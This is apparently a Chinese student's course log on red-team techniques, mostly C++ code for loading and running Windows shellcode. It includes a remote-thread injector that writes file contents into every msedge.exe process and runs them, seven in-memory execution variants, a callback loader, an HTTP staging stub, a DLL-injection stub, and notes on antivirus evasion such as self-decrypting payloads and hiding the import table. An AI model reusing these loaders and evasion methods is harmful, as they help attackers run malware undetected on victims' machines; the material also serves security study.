2024.7.15日志

目录

一.阿里云服务器与FinalShell连接

二.代码运行训练

三. Shellcode多种加载方式与分离

3.1shellcode的执行,本质就是内存执行

3.2存放shellcode的内存需要X权限

1.声明数据段可执行

2.申请可执行内存

3.指针执行

4.内存指针执行

5.线程执行

6.直接线程执行

7.内存线程执行

3.3采用各种回调函数

1.什么是回调函数

2.利用能够执行代码的函数实现回调

3.4shellcode分离载入内存

1.最常用的分离:文件分离

2.HTTP载入

3.参数分离

4.对几种加载方式的灵活应用

四.线程加载的免杀效果优于指针加载吗?为什么这三种方法都是线程加载?

4.1区别

五.个人心得体会


一.阿里云服务器与FinalShell连接

步骤一:下载并安装FinalShell

首先,需要在电脑上下载并安装老师发在群里的FinalShell。

步骤二:登录阿里云

在安装完FinalShell后,登录阿里云账号。在FinalShell的主界面中,找到并点击“设置”按钮,然后在弹出的窗口中输入你的阿里云账号和密码。

步骤三:选择阿里云服务器

在登录阿里云后,选择阿里云服务器。在FinalShell的主界面中,找到并点击“服务器”按钮,然后在弹出的窗口中选择阿里云服务器。

步骤四:配置服务器连接

选择阿里云服务器后,需要配置服务器连接。在弹出的窗口中,需要输入阿里云服务器的IP地址、端口号和用户名和密码。

步骤五:测试连接

配置服务器连接后,需要测试连接。在FinalShell的主界面中,找到并点击“测试”按钮,然后等待测试结果。如果测试成功,就会看到一个绿色的“已连接”消息。

步骤六:使用FinalShell

测试连接成功后,就可以使用FinalShell来连接和管理阿里云服务器了。在FinalShell的主界面中,可以看到你的阿里云服务器的所有资源,如文件、目录、进程等。

连接成功后截图:

                                                       图一  阿里云服务器

图二 FinalShell界面

二.代码运行训练

代码一:

#include<stdio.h>
#include<Windows.h>
#include<fstream>
#include<iostream>
#include<TlHelp32.h>
using namespace std;
int main() {
	char filename[] = "D:\\C++\\模板\\模板\\box.dll";
	ifstream infile;
	infile.open(filename, ios::out | ios::binary);
	infile.seekg(0, infile.end);
	int length = infile.tellg();
	infile.seekg(0, infile.beg);
	char* datath = new char[length];
	if (infile.is_open()) {
		cout << "reading from the file" << endl;
		infile.read(datath, length);
	}
	LPVOID addr = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(addr, datath, length);
	HANDLE HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, 0);
	WaitForSingleObject(HThread, -1);
    // 调用函数执行创建远程线程的操作
   // createThreadTest();
    return 0;

}

运行截图:

 代码块二:

#include<stdio.h>
#include<Windows.h>
#include<fstream>
#include<iostream>
#include<TlHelp32.h>
using namespace std;
// 函数用于创建远程线程执行 shellcode
void createThreadTest() {
    char filename[] = "D:\\C++\\模板\\模板\\box.dll";
    // 以读模式打开文件
    ifstream infile;
    //以二进制方式打开
    infile.open(filename, ios::out | ios::binary);
    infile.seekg(0, infile.end); //追溯到流的尾部
    int length = infile.tellg(); //获取流的长度
    infile.seekg(0, infile.beg);//回溯到流头部
    char* data = new char[length]; //存取文件内容
    if (infile.is_open()) {
        cout << "reading from the file" << endl;
        infile.read(data, length);
    }
    HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot_handle != INVALID_HANDLE_VALUE) {
        // 枚举进程
        PROCESSENTRY32 process_entry;
        process_entry.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(snapshot_handle, &process_entry)) {
            do {
                // 将进程名转换为宽字符串
                std::wstring extFileName(process_entry.szExeFile);
                // 如果进程名包含 "msedge.exe" 则进行以下操作
                if (extFileName.find(L"msedge.exe") != std::string::npos) {
                    // 打开进程
                    HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
                    if (process_handle != NULL) {
                        // 在远程进程中分配内存
                        LPVOID remote_buffer = VirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
                        if (remote_buffer != NULL) {
                            SIZE_T bytes_written;
                            // 将 code 写入远程进程内存
                            if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
                                std::cout << "Remote buffer address: " << remote_buffer << std::endl;

                                // 在远程进程中创建线程执行 code
                                HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
                                if (remote_thread != NULL) {
                                    // 等待线程结束
                                    WaitForSingleObject(remote_thread, INFINITE);
                                    CloseHandle(remote_thread);
                                }
                            }
                            // 关闭远程内存句柄
                            CloseHandle(remote_buffer);
                        }
                        // 关闭进程句柄
                        CloseHandle(process_handle);
                    }
                }
            } while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
        }
        // 关闭进程快照句柄
        CloseHandle(snapshot_handle);
    }
}
//远控的上线程序会变成你的注入目标程序
//User,管理员,System
//主函数
int main() {
   createThreadTest();
    return 0;
}

三. Shellcode多种加载方式与分离

3.1shellcode的执行,本质就是内存执行

首先,如果要执行一段代码,那么存储代码的内存必须拥有可执行权限。

最简单的exe(数据段,代码段)

数据段的权限(可读,可写)

代码段的权限(可读,可执行)

(可读,可写,可执行)

3.2存放shellcode的内存需要X权限

1.声明数据段可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
2.申请可执行内存
LPVOID exec = VirtualAlloc(NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
​
SIZE_T size;
WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof shellcode, &size);
3.指针执行
(*(int(*)()) shellcode_addr)();
(*(void(*)()) shellcode_addr)();
((void(*)(void)) & buf)();

4.直接指针执行

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
    ((void(*)(void)) & buf)();
}
4.内存指针执行
#include <Windows.h>
#include <stdio.h>
int main()
{
    unsigned char buf[] = "shellcode";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();
}
5.线程执行
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
6.直接线程执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL);
}
7.内存线程执行
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = "";
int main()
{
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
    WaitForSingleObject(thread, -1);
    return 0;
}

3.3采用各种回调函数

1.什么是回调函数
#include<stdio.h>
void call_b(const char* hello)
{
    printf(hello);
}
int main()
{
    void (*p)(const char* s);
    p = call_b;
    p("Hello World!\n");
    return 0;
}

准确来讲,这种并不是一个回调函数。

典型的回调函数用于在某些事件发生时被调用。

比如当某个操作执行完后,再去执行某一个函数。

2.利用能够执行代码的函数实现回调
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID shell_addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, buf, sizeof(buf));
EnumChildWindows(NULL, (WNDENUMPROC)shell_addr, NULL);
return 0;
}

3.4shellcode分离载入内存

1.最常用的分离:文件分离
#include<fstream.h>
#include<iostream.h>
#include<stdio.h>
using namespace std;
char filename[] = "你的bin文件路径";
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(0, infile.beg);
char* datath = new char[length];
if (infile.is_open()) {
    cout << "reading from the file" << endl;
    infile.read(datath, length);
}
2.HTTP载入
#include <stdio.h>
#include <windows.h>
#include <wininet.h>

#define BUFFER_SIZE 1024

int main() {
    HINTERNET hInternet, hConnect, hRequest;
    DWORD bytesRead;
    char buffer[BUFFER_SIZE];
    DWORD totalBytesRead = 0;

    // 初始化 WinINet
    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        printf("初始化失败\n");
        return 1;
    }

    // 连接到服务器
    hConnect = InternetConnect(hInternet, L"127.0.0.1", 8080, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hConnect) {
        printf("连接失败\n");
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 打开请求
    hRequest = HttpOpenRequest(hConnect, L"GET", L"/", NULL, NULL, NULL, 0, 0);
    if (!hRequest) {
        printf("打开请求失败\n");
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 发送请求
    if (!HttpSendRequest(hRequest, NULL, 0, NULL, 0)) {
        printf("发送请求失败\n");
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 创建内存缓冲区
    char* response_data = (char*)malloc(1); // 初始大小为1字节
    if (!response_data) {
        printf("内存分配失败\n");
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 1;
    }

    // 接收响应
    do {
        if (!InternetReadFile(hRequest, buffer, BUFFER_SIZE, &bytesRead)) {
            printf("读取失败\n");
            free(response_data);
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
            InternetCloseHandle(hInternet);
            return 1;
        }

        // 将数据写入内存缓冲区
        response_data = (char*)realloc(response_data, totalBytesRead + bytesRead + 1); // 扩展内存
        if (!response_data) {
            printf("内存分配失败\n");
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
            InternetCloseHandle(hInternet);
            return 1;
        }

        memcpy(response_data + totalBytesRead, buffer, bytesRead);
        totalBytesRead += bytesRead;
    } while (bytesRead > 0);

    // 在读取的数据末尾添加 null 终止符
    response_data[totalBytesRead] = '\0';

    // 输出响应数据
    printf("响应数据:\n%s\n", response_data);

    // 释放资源
    free(response_data);
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    return 0;
}
3.参数分离
int main(int argc, char* argv[])
{
if (argc == 3)
{
//将字符串转化为整数
BOOL result = Session0Inject((DWORD)atoi(argv[1]), argv[2]);

if (-1 == result)
{
printf("注入失败\n");
}
else
{
printf("注入成功\n");
}
}
else
{
printf("两个参数,1为pid,2为dll的绝对路径\n");
exit(1);
}
}
4.对几种加载方式的灵活应用

远程线程->线程内存加载
APC注入->线程内存加载
傀儡进程->程内存加载

四.线程加载的免杀效果优于指针加载吗?为什么这三种方法都是线程加载?

4.1区别

stager(分阶段)(小马),马——木马

小 —— 大小

文件大小。

stageless(无阶段)

文件大小——大

300kb。

stager(为什么小)(单纯因为代码简单,没用进行绕过?)

stager(不是上线程序,是下载上线程序的程序)

stageless(能直接上线的一共shellcode)

少一段网络连接。只需要与远控程序建立连接

stager 还需要网络拉取大马

心跳包

防止被检测的一个手段

远控的间歇性连接

内存自解密

(加密后的在程序的最开始,加入了一串用于解密后面的shellcode)

导入表

IAT INT(I Address Table)(I Name Table)

用于记录程序所使用的函数。

导出表

记录的程序提供给其他程序使用的函数

可执行程序都会有导入表和导出表

exe,dll,sys,.so

双击dll不能执行,sys不能执行的。

一般情况下不会自身执行

dll(动态链接库文件)sys(驱动文件)

dll是为exe提供导出函数的文件。

exe使用dll提供的导出函数。

sys(专门的驱动加载)

dll与exe本质上完全没用区别(解析不同,使用方式不同)

dll(专门提供)(导出表会有很多函数)

exe(一般不会有导出函数)

启发式查杀(静态的,沙箱(用于检测动态),API调用链(通过导入表))

{'h','l','l'};

动态调用(隐藏导入表)

五.个人心得体会

       在进行阿里云服务器与Linux系统连接的实验中,我深刻体会到了远程服务器管理的便利和重要性。通过SSH协议,我能够安全地远程登录阿里云服务器,并进行各种管理和操作。
       首先,连接阿里云服务器需要进行一些基本的配置,如获取服务器的公网IP地址、设置SSH密钥等。这些步骤虽然简单,但是对于确保连接安全和稳定性至关重要。
       其次,一旦连接成功,我可以通过命令行界面来执行各种操作,例如文件管理、软件安装、系统配置等。这种方式不仅高效,而且能够让我更加深入地了解和控制服务器的运行状态。
      在实验过程中,我学习到了如何有效地使用SSH命令,例如登录服务器、传输文件、创建备份等。这些技能不仅对于个人学习有帮助,对于专业的系统管理员或开发人员来说,也是必备的技能之一。
      配置和使用 Cobalt Strike 是学习网络安全中的一次重要实验。Cobalt Strike 是一个强大的渗透测试工具,主要用于红队攻击模拟和渗透测试。在实验过程中,我学习到了以下几点体会:
     首先,配置 Cobalt Strike 需要熟悉其基本架构和使用方法。通过查阅文档和教程,我了解了如何下载、安装和启动 Cobalt Strike,以及如何设置监听器、生成payload等基本操作。
    最重要的是,配置 Cobalt Strike 的过程不仅仅是技术层面的学习,更是对安全意识和责任的提醒。总结而言,配置和使用 Cobalt Strike 是一次深刻的学习经历,不仅提升了我的渗透测试技能,也加深了我对网络安全防御策略的理解和认识。这种经验不仅对我个人的技术发展有益,也为未来在网络安全领域的职业规划奠定了坚实的基础。

  • 9
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值